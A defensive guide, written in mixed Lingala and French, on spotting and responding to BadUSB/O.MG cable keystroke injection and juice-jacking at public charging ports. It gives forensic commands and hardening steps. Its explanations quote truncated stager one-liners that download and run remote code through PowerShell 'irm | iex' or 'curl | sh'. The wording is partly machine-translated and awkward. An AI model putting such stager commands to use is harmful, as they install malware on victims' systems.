Ba Câbles USB ya mabe (Injection HID / BadUSB) na Défense ya Kiosque Public¶

Kokɔtisa ordinatɛrɛ ya moke, smartphone to tablette na yo na nsinga ya chargement USB-C to Lightning oyo oyebi te oyo etikali nsima na mesa ya hôtel, na porte ya libándá ya mpɛpɔ, na kiti ya nsima ya rideshare, to na saki ya swag ya likita linene, to komona dialogue ya Windows Run (Win + R), fenêtre PowerShell, to macOS Terminal flash na écran na yo na boumeli ya 500 millisecondes mpe kobanda kokoma na 1.000 mots par minute mbala moko sima ya ko connecter câble USB, flash drive, to cliquant ya présentation, ezali signature ya BadUSB / HID (Human Interface Device) Keystroke Injection Attack to Public Charging Kiosk Exploitation ("Juice Jacking"). Na bokeseni na ba malware ya bonkoko oyo ebombami lokola fichier na thumb drive oyo ba scanneurs antivirus ekoki kotala liboso ya kofungola, ba implants matériels armés lokola O.MG Cable, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny, mpe USBHarpoon ekotisaka microcontrôleur miniature mpe radio Wi-Fi directement na kati ya connecteur ya plastique moulé coquille ya nsinga ya chargement Apple, Anker, to Samsung oyo emonanaka lokola ya momesano (na bolai ya millimètres 12 to 0,47 pouces kaka).

Ntango okɔtisi yango na ordinatɛrɛ na yo to na smartphone oyo ekangami te, microcontrôleur wana oyo ebombami esakolaka te na système d’exploitation na yo lokola disque de stockage to chargeur. Au lieu ya kosala bongo, etanga na nzela ya USB D+ mpe D- ba broches ya ba données lokola standard Clavier USB HID (Class 0x03) to Adaptateur ya réseau Ethernet USB (RNDIS / ECM). Lokola Windows, macOS, Linux, iOS, mpe Android etyelaka na bomoto na yango motema na ba claviers oyo ekɔtisami sika kozanga ete esɛnga ba pilotes to ba scans ya antivirus, câble yango ebɛtaka mbala moko molɔngɔ ya kobɛta ba touches oyo ebongisami liboso (Win + R -> powershell -w hidden -ep bypass ... na Windows, to Cmd + Space -> Terminal na macOS) to e déclenchaka charge utile Wi-Fi contrôlée à distance na moment oyo attaquant na 90 mètres (300 pieds) a cliquer "Executer" na téléphone na bango. Pona ba menaces ya hotspot sans fil ya large na réseau ya voyage pembeni ya ba ports ya chargement, consulter pe ya biso Wi-Fi ya bato nyonso, Evil Twin, mpe guide ya défense ya jacking ya jus. Soki ozali kokutana na makambo ya kobangisa yo na nzoto to kozwa mbongo na yo na makasi, benga nimero ya mbalakaka na esika ofandi (911 na États-Unis mpe na Canada, . 112 na Union européenne mobimba, . 999 na Royaume-Uni) to tala ya biso banimero ya mbalakaka répertoire. Landa ba actions ya isolement matériel immédiat na récupération forensique oyo ezali awa na se.

Sala boye sikoyo¶

1. YANK câble USB, flash drive, dock, to nsinga ya chargement oyo ba suspecter libanda ya port ya appareil na yo MBANGU: Segɔnde nionso Câble BadUSB to O.MG etikali fiché na ordinateur to téléphone oyo ekangamaki te epesaka nzela na microcontrôleur na yango ya kati (to attaquant oyo azali pene oyo azali connecté na spot ya Wi-Fi interne ya câble oyo ebombami) a injecter ba touches, a exfiltrer ba données na USB oyo ebombami canal série/réseau, to tambuisa keylogger matériel oyo ekomaka mot de passe nionso oyo okomi na clavier na yo ya libanda.
2. Kokata ordinateur portable to téléphone oyo ezo affecter na Wi-Fi, Ethernet, na Bluetooth sikoyo, pe KOBIMA ata mot de passe moko TE na machine wana: Charge utile standard ya 2 secondes BadUSB / Rubber Ducky ekomaka programme munene te na interface ya clavier ya malembe; na esika na yango, ekomaka commande "stager" ya 1 ligne na PowerShell (iex (irm http://...)) to Terminal ya macOS ( .curl -s http://... | sh) oyo e télécharger infostealer mobimba to trojan ya accès à distance na nzela ya connexion Wi-Fi na yo. Kokata Wi-Fi na Ethernet ebomaka mbala moko téléchargement to etelemisaka exfiltration.
3. Soki obɛtaki "Trust This Computer" na iPhone/iPad na yo to oponi "File Transfer (MTP) / Allow USB Debugging (ADB)" na telefone na yo ya Android na kiosque ya chargement public, longola confiance mbala moko:
4. Na iPhone / iPad: Longola nsinga, kende na Paramètres > Développeur (soki ezali komonana na nse ya Paramètres) -> finá Effacer ba ordinateurs ya confiance. Soki Développeur azalaki komonana te, kende na Paramètres > Général > Transfert ou Réinitialiser iPhone > Réinitialiser > Réinitialiser esika & confidentialité, oyo epangusi na ndenge ya cryptographie nionso oyo esanganami lockdownd ba enregistrements ya pairing ya hôte po ordinateur to kiosque moko te ekoki jamais ko accéder lisusu na sauvegarde ya iPhone na yo sans code de passe na yo.
5. Na Android: Longola nsinga, kende na Paramètres > Système > Options ya développeur (soki activé) -> finá Revoquer ba autorisations ya débogage USB, mpe tourner options ya développeur mobimba OFF.
6. Inspecter nini charge utile ya touche ya BadUSB ewutaki ko type na ordinateur na yo en marquer na boîte Run na yo (RunMRU), Journal ya komande ya PowerShell (PSReadLine), mpe macOS Terminal history: Yambo ya ko rebooter, fungola fenêtre ya terminal ya peto na ordinateur na yo hors ligne mpe tanga commande ya sikisiki oyo clavier USB ya lokuta e injectaki na système na yo na kosalelaka ya biso ba commandes ya audit forensique na Phase 2.
7. Bobatela câble USB to moteur ya pouce oyo ezali suspect na kati ya récipient ya métal to na sac ya Faraday (ko zongisa yango na ordinateur nionso TE po "omona nini ezali na kati"): Po Câble O.MG ezali na émetteur-récepteur Wi-Fi ESP8266/ESP32 active oyo ezo activer tango nionso ezui 5 volts (ata soki ekangami na brique ya mur USB ya baba to na banque ya pile), ko brancher yango na mur chargeur efungolaka point d’accès Wi-Fi na yango oyo ebombami mpe epesaka nzela na mobundi oyo azali na libándá ya shambre to biro na yo ya otɛlɛ a connecter na yango to a déclencher yango moko (Self-Destruct / Wipe) eloko oyo ezali na kati. Tika yango mobimba na fiche.
8. Soki charge utile ya BadUSB esalaki script na ordinateur na yo tango ozalaki kokota, tourner ba credentiels nionso mpe revoque ba sessions actives na appareil separate, propre: Po 90 pour cent ya ba charges utile ya BadUSB ya mikolo oyo ebandisaka infostealer oyo ezuaka ba cookies ya navigateur mpe ba mots de passe oyo ebombami na 3 secondes, exécuter ya biso session cookie hijacking na infostealer kolongolama ya jeton guide uta na smartphone moko ya pɛto.

Nzete ya mokano : koyanola na câble USB ya mabe oyo bakanisaka ete ezali na exposition ya kiosque public¶

Salelá diagramme oyo ya tactique mpo na koyeba soki aparɛyi na yo ekɔtaki na likama nsima ya kokɔtisa na nsinga ya USB oyo okoki kotyela motema te, na dock, na thumb drive, to na station ya chargement publique:

flowchart TD
    Event["Ekɔtisami na Câble USB oyo eyebani te, Flash Drive oyo ezwami, Kiosque ya Hôtel/Aéroport, to Flash ya Terminal ya Scie/Tambuisa Fenêtre na Écran"] --> Unplug["ETAPE 1: Longola Câble USB / Appareil Mbala moko & Kokata Wi-Fi / Ethernet"]

    Unplug --> WhatDevice{"Dispositif Nini Ekangamaki Na Cordon USB To Port Eyebani Te?"}

    WhatDevice -->|"Windows, macOS, to Linux Ordinateur portable / Bureau"| ScreenLocked{"Écran ya ordinatɛrɛ EZALAKI KOKANGA to EZALAKI NA LIBUMU Ntango ekɔtisamaki na fiche?"}
    WhatDevice -->|"iPhone / iPad (iOS / iPadOS) Ezali ndenge moko na ba ."| iOSState{"iPhone ezalaki débloqué, mpe Obɛtaki ‘Trust’ to Omoni Typing?"}
    WhatDevice -->|"Smartphone / Tablette ya Android"| AndroidState{"Telephone efungolamaki, to ‘USB Debugging (ADB)’ Efungolamaki?"}

    ScreenLocked -->|"Unlocked (Ekɔti na bureau) ."| AssumeHID["RISQUE YA MAKASI: Câble BadUSB / O.MG Ekoki Ko Exécuter ba touches (Win+R / Cmd+Space) na <1.5 Secondes Sans Ata Prompt -> Kende na Phase 2 Audit forensic"]
    ScreenLocked -->|"Ekangami (Ecran ya mot de passe) ."| NetworkDMA["Tala Soki Thunderbolt/PCIe DMA to USB Ethernet (Empoisonnement RNDIS/DHCP) esalemaki; Ba touches Ekoki Ko Bypasser Ecran Ya Blocage Te Sans Mot de passe Na Yo"]

    iOSState -->|"Ekangaki Tango Mobimba (iOS 15+ / Mode Restreint USB)"| iOSSafe["SAFE: Apple 'Mode restricted USB' Ezali ko désactiver physiquement ba broches ya ba données na ba iPhones oyo ekangami -> Kaka puissance eleki"]
    iOSState -->|"Unlocked & Tapped 'Trust' (To Saw Safari/Ba raccourcis Efungwami)"| iOSRevoke["Mbala moko Tambwisa: Paramètres > Général > Transfert to Réinitialiser iPhone > Réinitialiser > Réinitialiser esika & confidentialité + App ya ba raccourcis ya audit"]

    AndroidState -->|"Ekangami Tango Mobimba (Mode ya Charge-seul) ."| AndroidSafe["SAFE: Android ya mikolo oyo Ezali kosala par défaut na 'Transfert ya ba données te (Charge kaka)' -> Données eleki te"]
    AndroidState -->|"Typing ya écran débloqué & Saw to ADB/MTP oyo endimami"| AndroidRevoke["Désactiver ba options ya développeur -> Revoquer débogage USB -> Vérifier ba applis installés & ba téléchargements ya Chrome"]

Kososola ndenge nini BadUSB, Câbles O.MG, mpe ba Attaques ya Chargement Public Esalaka Vraiment¶

Mpo na komibatela malamu, mpe koboya ezala kosala sous-reagir na implant matériel ya solo mpe kobanga mpo na ba ports ya chargement oyo ezali na likama te, osengeli kososola ba mécanismes techniques misato ekeseni oyo ba attaquants basalelaka na nzela ya USB:

1. BadUSB / HID Injection ya kokanga ba touches (O.MG Cable, . Rubber Ducky, . Flipper Zero) .¶

• La faute fondamentale ya design ya USB: Bus sérieux universel (USB) spécification epesaka nzela na connecteur physique moko ami déclare lokola classe nionso ya dispositif na tango ya enumeration (bInterfaceClass), to ata lokola Dispositif Composite (komi déclare en même temps lokola USB Flash Drive mpe Clavier USB).
• Na kati ya Câble O.MG to Chargeur Malicieux: Na miso, Câble O.MG ekoki kokesana te na 100 pour cent na câble ya solo ya Apple USB-C-to-USB-C, USB-C-to-Lightning, to USB-A oyo ekangami to ya pembe. E chargeaka téléphone na yo pe e transferaka ba données normalement. Kasi, ebombami na kati ya nsɔngɛ ya connecteur actif ezali na microcontrôleur microscopique à deux noyaux oyo ezali na Wi-Fi 802.11 mpe ebombelo ya flash:
• Injection active ya touche: Moment oyo otie câble na PC, Mac, to smartphone Windows oyo ezali déverrouillage, câble etanga lokola générique Clavier HID mpe ekokoma jusqu’à 850 caractères par seconde (DuckyScript). Na boumeli ya segɔnde 1,5, efinaka Win + R (Windows) to Cmd + Space (Mac), abandi coquille ya fond oyo ebombami, a télécharger charge utile, mpe akangaka fenêtre.
• Inline Hardware Keylogger (Po na ba Claviers USB ya libanda): Soki attaqueur a swap câble USB oyo ezali ko connecter clavier mécanique na yo ya libanda na PC ya bureau na yo na Câble O.MG, implant efandi kimia na kati ya fil pe eko enregistrer ** jusqu'à 650.000 touches** (y compris Bitwarden/1Password Master Password na yo, Windows login PIN, mpe mot de passe ya BIOS) na mémoire flash interne na yango, oyo moto oyo azali kobundisa azwaka na nzela ya nsinga te longwa na libándá ya ndako na nzela ya Wi-Fi.
• Geofenced & Time-Delayed Payloads: Na bokeseni na simple $50 USB Rubber Ducky oyo e type charge utile na yango na mbala moko oyo ekangami, Cable O.MG ekoki kotikala totalement dormante lokola nsinga ya chargement normal pendant mikolo to ba semaines tiii eko détecter réseau Wi-Fi ya entreprise na yo (BSSID geofencing) to kino mobundi ako déclencher yango na mosika na nzela ya UI web na yango oyo etongami na kati.

2. Kokangama ya adaptateur ya réseau USB (RNDIS / . CDC-ECM / . PoisonTap / . Bash Bunny) .¶

• Ata soki écran ya ordinateur portable na yo ezali bloqué (Win + L to mpe Ctrl + Cmd + Q) yango wana clavier USB ya lokuta ekoki kofungola fenêtre ya terminal te, ko brancher dispositif USB ya mabe na port ya ba données USB oyo ekangamaki te epesaka appareil nzela ya kotanga lokola Adaptateur Ethernet USB Gigabit ya Priorité makasi (USB RNDIS to mpe CDC-ECM).
• Lokola Windows mpe macOS e prioritiser automatiquement interface Ethernet filée ya sika koleka Wi-Fi, dispositif USB ekomi porte par défaut ya ordinateur portable na yo na nzela ya DHCP (0.0.0.0/1), ekanga trafic ya réseau local oyo ezali chiffré te, ayanoli na WPAD / . LLMNR / . mDNS mituna, to ba siphons ba cookies ya navigateur ya sima oyo ezali ya HttpOnly te.

3. Kiosque publique "Jacking ya jus" (MTP / . PTP / . iOS lockdownd / . Android ADB) .¶

• Ntango ozali kokɔtisa smartphone na porte USB ya bato nyonso (na libándá ya mpɛpɔ, na gare ya engbunduka, na motó ya mbeto ya otɛlɛ, to na unité ya infodivertissement ya motuka ya kofutela) na kosaleláká nsinga ya mbala na mbala oyo ekoki kozwa ba données:
• Oyo ekangami automatiquement: Lokola iOS 11.4.1 / iOS 15+ (USB Restricted Mode) mpe Android 9+ (Charge-Only Default), ko brancher téléphone na port ya ba données USB e te ko exposer automatiquement ba photos to ba fichiers na yo. Transfert ya ba données ekangami tii tango oko déverrouiller téléphone PE oko finga explicitement "Trust This Computer" (plus kotisa Code de passe ya iPhone na yo) to ko changer manuellement notification USB ya Android na Pas transfert ya ba données na File Transfer (MTP) to Allow USB Debugging.
• Esika likama ya solo ezali na ba kiosque public:
  1. ChoiceJacking & HID Injection na ba téléphones non bloqués: Ndenge emonisami na balukiluki ya bokengi ya Université ya Technologie ya Graz (ChoiceJacking), soki telefone na yo efungolami na lobɔkɔ na yo ntango ozali kokɔtisa yango na port USB ya bato nyonso oyo ezali mabe, kiosque ekoki liboso kotánga lokola Clavier USB (HID) mpo na 200 millisecondes mpe tinda exact Tab / . Enter to ba touches ya lisalisi oyo esengeli mpo na cliquez na prompt "Allow / File Transfer" mpo na yo na écran na yo avant ya ko changer na mode ya transfert ya ba données ya hôte.
  2. Puissance ya saleté / Dégâts ya matériel ya sur-tension (USB Killer): Port USB public saboté ekoki kobwaka 200V DC na banque ya condensateur mbala moko na puce ya contrôleur USB-C ya téléphone na yo, ko frire libela carte logique.

Matrice ya comparaison: Matériel ya défense USB & Protections ya OS¶

Phase 1: Ndenge ya koyeba na miso mpe na électricité câble USB ya mabe (O.MG Cable Audit)¶

Soki okuti câble USB oyo ekoki kozala suspect na bureau na yo, ekangami na sima ya clavier ya PC na yo ya bureau, to na kati ya sac na yo ya voyage, landa ba étapes minei oyo pona koyeba soki ezali implant matériel:

1. Momekano #1: Meka Continuité to Salelá Tester ya Câble Matériel (O.MG Malicious Cable Detector / . Bleeping / Hak5 Tester):
2. Ba câbles ya chargement USB-A-A-na-USB-C passive standard, USB-A-to-Lightning, to non-Marked USB-C ezali na courant ya kobenda microprocesseur active te tango kaka bout moko nde ekangami na puissance.
3. O.MG Malicious Cable Detector (to analyseur ya courant/protocole USB inline lokola a Power-Z KM003C) efandi kati na source ya puissance na câble na eloko moko te ekangami na suka ya mosika ya câble:
   • Soki câble ebendaka 30 à 120 milliampes (mA) ya courant na 5V tango eloko moko te ekangami na bout mosusu, to emeki ko négocier USB D+/D- enumeration na yango moko, ezali na ordinateur active / radio Wi-Fi oyo ebombami na kati ya tête ya câble.
4. Momekano #2: Tala soki ezali na bisika ya kokɔta na Wi-Fi oyo ebombami (O.MG Ba SSID ya liboso to ba Préfixes MAC ya ESP32):
5. O.MG Ba câbles na ba implants sans fil BadUSB esalelaka Espressif (ESP8266 / . ESP32-S2 / . ESP32-C3) Puce Wi-Fi na kati ya coquille ya connecteur.
6. Kosalela banque ya pile USB isolé na kati ya esika ya faraday/isolé (jamais ordinateur na yo), kopesa nguya na câble O.MG oyo e configurer te to par défaut mbala mingi ezo diffuser réseau Wi-Fi ya 2,4 GHz (SSID par défaut O.MG na 192.168.4.1, to SSID oyo ebombami na Adresse MAC / OUI ya BSSID oyo ezali ya Espressif Inc. lokola 24:0A:C4, . 30:AE:A4, . 84:CC:A8, . A0:20:A6, . DC:4F:22, longola kaka soki esalemi na lokuta).
7. Momekano #3: Tala bolai ya Overmold ya Connecteur mpe Génération ya Chaleur:
8. Kokanisa coquille ya plastique ya déformation ya câble suspect na câble ya solo Apple to Anker oyo eyebani pembeni pembeni:
   • Alors que ba génération ya sika ya O.MG Cable ekokani na ba dimensions exactes ya coquille ya Apple, après 3 minutes ya kozua puissance ya 5V, tête ya connecteur oyo ezali na microcontrôleur Wi-Fi active ekoyoka chaud notablement (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit) kati na nsɔngɛ ya misapi na yo ata soki telefone moko te ezali ko charger na nsuka mosusu. (Câble passive normal oyo ezali na eloko moko te oyo ekangami na nsuka ya mosika etikalaka malili mobimba na température ya ndako.)

Phase 2: Triage forensic Soki Câble BadUSB to O.MG ekomamaki na ordinateur na yo¶

Soki otie câble USB, thumb drive, to périphérique na ordinateur portable na yo ya Windows, Mac, to Linux mpe omoni menu Démarrer, dialogue Run (Win + R), Mwinda ya kofungola (Cmd + Space), to flash ya fenêtre ya terminal ya noir/bleu efungwami pe ekangama, ko rebooter nanu te. Salá ba commandes oyo ya sikisiki hors ligne mpo na komona nini clavier USB ya lokuta ekomamaki mpe ID nini ya Vendor/Produit USB (VID:PID) ekangami na libongo na yo:

1. Audit forensic ya Windows 10 & Windows 11 (Esala na PowerShell hors ligne)¶

Fungola PowerShell (Admin) na PC Windows oyo ezali hors ligne mpe sala ba commandes minei oyo ya forensic:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• Ndenge nini kolimbola Get-ItemProperty ... RunMRU:
• Pene na script nyonso ya Windows BadUSB / Rubber Ducky ebandaka na kofina ** .Win + R** (GUI r na DuckyScript) mpe kokoma commande lokola powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex to mpe cmd /c curl ....
• Ata soki script emeki ko effacer RunMRU na nsuka, soki o yanked câble libanda na katikati ya exécution (to soki script elongolaki registre te), URL ya mabe ya sikisiki mpe commande ekofanda kaka na kati RunMRU (a, . b, . c ba valeurs) to na kati ConsoleHost_history.txt.

2. Audit forensic ya Apple macOS (Esala na Terminal hors ligne) .¶

Na macOS, ba charges utile ya BadUSB e presser typiquement ** .Cmd + Space** (GUI SPACE), type Terminal, bapanzi-nsango Enter, mpe kokima mbangu a curl to mpe osascript liner moko:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Botali ya mibeko ya Linux (dmesg & . journalctl) .¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Soki moko ya ba journal oyo ezali likolo elakisaka ete a powershell, . cmd, . mshta, . curl, . wget, to osascript commande exécuté tango ozali connecté na internet, assumer infostealer to persistent backdoor ekendeki: revoquer ba sessions nionso en utilisant ya biso session ya ko détourner cookie na guide ya infostealer mpe kosala reinstall ya OS ya peto kolanda biso guide ya infection ya ba malware, ransomware, na spyware.

Phase 3: Ko bloquer ba appareils na yo po ba câbles BadUSB Ekoki Jamais Ko Exécuter Automatiquement¶

Ba systèmes d'exploitation ya mikolo oyo ezali sikoyo na ba verrouillages ya port matériel intégré ya makasi oyo e neutraliser entièrement BadUSB, O.MG Cables, na Rubber Duckies avant bakoka ko typer caractère moko, à condition que ofungola ba paramètres wana:

1. Apple macOS (Apple Silicon M1 / M2 / M3 / M4 MacBooks): Activer "Senga ba accessoires ya sika".¶

Na Apple Silicon Macs oyo ezali kosala macOS Ventura, Sonoma, to Sequoia, Apple ekotisaki ndingisa ya port USB-C/Thunderbolt na niveau matériel oyo e bloquer câble USB to appareil nionso ya sika etanga lokola clavier tii oko cliquer explicitement "Allow": 1. Fungola Menu ya Apple () > Paramètres ya système > Bomoi ya moto ye moko & Bobateli. 2. Défiler na se na eteni Securité mpe luka "Tika ba accessoires e connecter". 3. Bobongola yango uta Automatically When Unlocked na "Senga ba Accessoires ya Sika" (to "Senga Mbala Nionso" mpo na bobateli ya mobembo ya bokengi makasi). 4. Po na nini yango etelemisaka O.MG Câbles malili na Mac: Tango otie câble ya chargement O.MG ya bokosi na "Tuna mbala nionso" to "Senga ba accessoires ya sika" activé, puissance ezo kende mbala moko pona ko charger pile ya MacBook na yo, kasi macOS ebimi dialogue ya avertissement oyo ezo tanga: "Allow accessory '[Device Name]' to connect to this Mac?" Lokola câble ya chargement passif normal esengaka jamais ko connecter lokola accessoire ya ba données, komona pop-up wana tango ozali ko brancher nsinga ya chargement simple e exposer mbala moko câble lokola implant matériel tout en bloquant 100 pour cent ya ba touches na yango tiii oko débrancher yango.

2. Apple iPhone & iPad: Verifier "Mode restreint USB" ezali Activé¶

1. Fungola Paramètres > ID ya elongi & Code de passe (to ID ya touche & Code de passe) mpe kotia code de passe na yo.
2. Salá défilement na nse tii na eteni "Tika nzela ya kokɔta ntango ekangami".
3. Sala que toggle oyo ezali pembeni ya Accessoires (to Accessoires USB) ezala OFF (gris).
4. Na Accessories ekangami OFF, tango nionso iPhone na yo ekangami, iOS e désactiver physiquement ba broches ya ba données USB, ko permettre kaka puissance ya chargement eleka. Fina ntango nyonso bouton ya mopanzi mpo na kokanga écran ya iPhone na yo AVANT ya ko brancher yango na chargeur nionso oyo oyebi te to na motuka ya kofutela.

3. Android 15 / 16 & GrapheneOS: Activer "Protection avancée" / Blocage ya port USB¶

• Na Android ya momesano (Pixel, Samsung Galaxy):
• Kotika ata moke te Options ya développeur > Débogage USB (ADB) efungolami ntango ozali kosala mobembo.
• Na Paramètres > Sécurité & confidentialité > Paramètres ya sécurité mingi (to Protection avancée na Android 15/16+), activer Protection USB / Bloquer ba appareils USB ya sika tango ekangami.
• Bokanga tango nionso écran na yo avant ya ko connecter na port nionso ya chargement public po ba attaques ya ChoiceJacking HID ekoki ko interagir na écran déverrouillage te.

4. Linux & Enterprise ya Windows: USBGuard mpe Bipekiseli ya kotya aparɛyi¶

• Na Linux (USBGuard): Botia na kati ya usbguard démon ( .sudo apt install usbguard), oyo e bloquer appareil USB nionso oyo e connecter sika asserting bInterfaceClass 03 (HID Keyboard) soki clavier primaire esi ekangami to kino epesami ndingisa ya polele via usbguard allow-device.
• Na Windows 11 Pro / Enterprise: Activer Bobateli ya DMA ya noyau (BitLocker + VBS) na Bobateli ya Windows > Bobateli ya bisaleli > Isolation ya moboko mpo na kopekisa ba attaques ya Thunderbolt/PCIe DMA, mpe kokanga ntango nyonso poste ya mosala na yo (Win + L) liboso ya kokɔtisa nsinga nyonso ya USB oyo oyebi te mpo ete ba injecteurs ya kofina ba touches ekoka kokɔta na shell ya bureau oyo ekɔti.

Mituna oyo batunaka mingi¶

Câble O.MG to nsinga ya BadUSB ya mabe ekoki ko pirater téléphone na ngai ya iPhone to Android soki na brancher yango kaka tango écran ya téléphone na ngai ekangami?¶

Soki iPhone na yo ezali na Paramètres > ID ya elongi & Code de passe > Tika accès tango ekangami > Accessoires abalukaki OFF, OFF (oyo ezali na iOS 15 tii na iOS 18) mpe écran na yo ekangami ntango ozali kokɔtisa nsinga, ba données to ba touches moko te ekoki kokoma na iPhone na yo mpo iOS e désactiver ba lignes ya ba données USB na niveau ya contrôleur matériel tiii tango oko débloquer téléphone na Face ID to na code de passe na yo. Kasi, na ngonga oyo ofungolaka iPhone na yo ntango Câble wana ya O.MG ezali naino na fiche, câble ekoki kotanga lokola clavier USB ya libanda mpe kotinda nokinoki ba raccourcis ya clavier iOS (lokola Cmd + Esika ya kofanda mpo na kofungola Spotlight, kofungola Safari na URL ya profil ya phishing/configuration, to ko déclencher ba Raccourcis ya Apple). Kobomba ata moke te nsinga ya USB oyo ezwami to oyo otyelaka motema te na kati ntango ozali kofungola telefone na yo.

Ndenge nini nakoki koyeba bokeseni kati na câble USB ya solo "Charge-Only" mpe câble ya ba données USB normale?¶

Lokola basali ba imprimer mingi te bilembo na ba câbles oyo ekesenisaka ba cordes oyo ezo charger kaka na ba cordes ya ba données, test ya pete ya sécurité ezali ya ko brancher câble entre ordinateur na appareil ya kala oyo ezali critique te (to kosalela $10 inline USB cable pinout continuity tester Board lokola Treedix Momekoli ya Câble USB, oyo engɛngisaka ba LED mokomoko mpo na nsinga nyonso ya kati kozanga ete efungola microcontrôleur moko te). Na tableau ya momekoli ya continuité, ya solo Câble ya charge-Kaka ekongenga kaka VBUS na likambo yango mpe GND (2 LEDs), nzokande câble oyo ekoki kozwa ba données ekopela mpe D+ mpe D- . (mpe CC1/TX/RX oyo ezali na kati na USB-C). Na lolenge mosusu, bomba oyo amipesi adaptateur USB Data Blocker ya nzoto ekangami libela na nsɔngɛ ya nsinga ya chargement ya mobembo na yo epai okoki kotala na nzoto na kati ya libongo ya mwasi mpe ko vérifier na miso na yo moko ete ba broches ya ba données ya katikati ezali te.

Ezali na likama te kokɔtisa nsinga na ngai moko ya chargement na prise ya kura ya kura (prise ya mur ya 2-prong / 3-prong) na libándá ya mpɛpɔ to na otɛlɛ na esika ya kotya porte USB oyo ezali na kati?¶

Ɛɛ, 100 % ezali na likama te. Prise ya mur électrique 110V / 230V AC standard (esika ozali ko brancher brique ya puissance ya Apple, Samsung, to Anker na yo moko) ememaka kaka puissance électrique alternative-courant mpe ezali na ba connexions ya ba données zéro oyo ekoki ko communiquer na contrôleur USB ya téléphone na yo. Tant que osalelaka brique ya adaptateur ya mur AC na yo moko ya confiance na câble USB na yo moko ya confiance, prise électrique AC ya aéroport to ya hôtel ekoki kosala ba attaques ya Juice Jacking to BadUSB te.

Pourquoi Windows ebimaki "Setting up a device: HID Keyboard Device" tango na brancher flash USB to chargeur vape/e-cigarette?¶

Komona Windows elakisaka botangi ya notification ya toast "Kobongisa aparɛyi: Esaleli ya klaviatware ya HID". ntango okɔtisaki eloko moko oyo ezali te clavier (lokola flash USB, câble ya chargement, ventilateur ya bureau ya talo moke, cadre ya photo numérique, to chargeur vape) ezali #1 munduki ya komela likaya oyo ekoki kozala na ntembe te ya a BadUSB / HID Attaque ya injection ya touche. Flash drive légitime to câble ya chargement moko te esengeli jamais ko enregistrer na Windows lokola clavier. Longola fiche ya aparɛyi mbala moko, longola Wi-Fi, mpe tambwisa PowerShell Kosala MRU mpe PSReadLine na nzela audit commandes na Phase 2 po omona commande nini faux clavier wana e typer.

Ba sources e vérifié¶

• Biro fédéral ya bolukiluki (FBI) & Commission fédérale ya communication (FCC) (Etats-Unis): Mayebisi ya Service publique na oyo etali ba risques ya station de chargement USB publique ("Juice Jacking") mpe ba Implants ya Matériel ya mabe.
• Agence nationale de sécurité (NSA) & Agence ya cybersécurité mpe ya sécurité ya ba infrastructures (CISA) (Etats-Unis): Misala ya malamu ya ba appareils mobiles: Kosala mobembo na kimia na ba téléphones portables, ba ordinateurs portables, mpe ba périphériques USB.
• Iniversite ya Technologie ya Graz (TU Graz Groupe de recherche InfoSec): ChoiceJacking: Ko compromis ba appareils mobiles na nzela ya ba chargeurs ya mabe na nzela ya injection USB HID (Symposium ya sécurité ya USENIX).
• Guide ya sécurité ya plateforme Apple: Mode restreint USB, Accès ya ba accessoires tango ekangami, mpe macOS Architecture ya ndingisa ya accessoire USB/Thunderbolt Apple Silicon.
• Forum ya ba implémentateurs USB (USB-IF): Bondimi ya lolenge-C ya USB, Livraison ya puissance (USB PD), mpe Esaleli ya Interface ya bato (HID Kelasi 0x03) Makambo ya sikisiki.

Ba guides oyo etali yango¶

• Wi-Fi publique, ba hotspots ya Evil Twin, na défense ya jacking ya jus
• Kokangama ya cookie ya session, logiciel ya mabe ya infostealer, mpe bolongoli ya jeton
• Stalkerware, spyware, mpe detection ya keylogger na ba téléphones
• Infection ya ba logiciels ya mabe, ya ransomware, mpe ya ba spyware
• Phshing ya code QR (quishing) mpe ba redirections ya mabe
• Mituya ya mbalakaka na kotalela mboka